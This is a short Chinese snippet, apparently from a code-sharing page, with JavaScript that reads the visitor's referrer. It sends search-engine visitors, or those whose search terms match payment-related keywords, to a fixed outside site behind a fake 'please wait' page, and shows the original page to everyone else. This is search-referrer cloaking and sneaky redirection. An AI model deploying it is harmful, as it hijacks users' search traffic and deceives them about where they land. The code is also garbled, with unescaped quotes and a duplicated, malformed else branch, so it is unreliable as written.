1、搜索引擎来路跳转至指定URL
var regexp=/.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(.[a-z0-9-]+){1,2}//ig;//判断搜索引擎,注意后面的正则表达式 var where =document.referrer; if(regexp.test(where)) { window.location.href='http://www.vlwx.com' //跳转到指定URL }
2、判断指定关键词,若满足则跳转至指定URL
function Redirect(){ top.location="http://www.vlwx.com/"; } var d=document.referrer; if ((d.indexOf("%B7%D1")>0)||(d.indexOf("%B3%E4")>0)||(d.indexOf("%B3%E5")>0)||(d.indexOf("%BD%BB")>0)||(d.indexOf("%BD%C9")>0)||(d.indexOf("%CC%FC")>0) ||(d.indexOf("%B7%D1")>0) )//判断指定关键词URL16进制加密 { document.writeln("<html><head>");//重定向跳转页面开始 document.writeln("<title>标题</title>"); document.writeln("<meta http-equiv="content-Type" content="text/html charset=gb2312" />"); document.writeln("</head><body bgcolor="#FFFFFF"> "); document.writeln("<table cellpadding="0" cellspacing="0" border="0" width="700" align="center" height="85%"> ");document.writeln("<tr align="center" valign="middle"> "); document.writeln(" <td> <table cellpadding="10" cellspacing="0" border="0" width="80%" align="center" style="font-family: Verdana, Tahoma; color: #666666; font-size: 11px"> "); document.writeln(" <tr> "); document.writeln(" <td valign="middle" align="center" bgcolor="#EBEBEB"> "); document.writeln(" <br />"); document.writeln("<br /> "); document.writeln("<form action="http://www.vlwx.com" method="get" id="frm1" name="frm1">");//载入框架,打开网页,注意JavaScript代码转义符 document.writeln("<b style="font-size: 16px">正在进入,请稍后..</b> "); document.writeln("<br />"); document.writeln(""); document.writeln("<br /> <input type="submit" value="如果您的浏览器不支持跳转请点击这里">"); document.writeln("</td> "); document.writeln(" </tr> "); document.writeln(" </table> "); document.writeln("</td> "); document.writeln("</tr>"); document.writeln("</table>"); document.writeln("</body>"); document.writeln("</html> "); document.writeln("") document.writeln("<div style='display:none;'>"); setInterval("Redirect()",1200);//执行Redirect函数,打开延时单位毫秒}else{//不满足指定关键词,载入原始网页document.writeln(""); } else { //不满足指定关键词,载入原始网页 document.writeln(""); }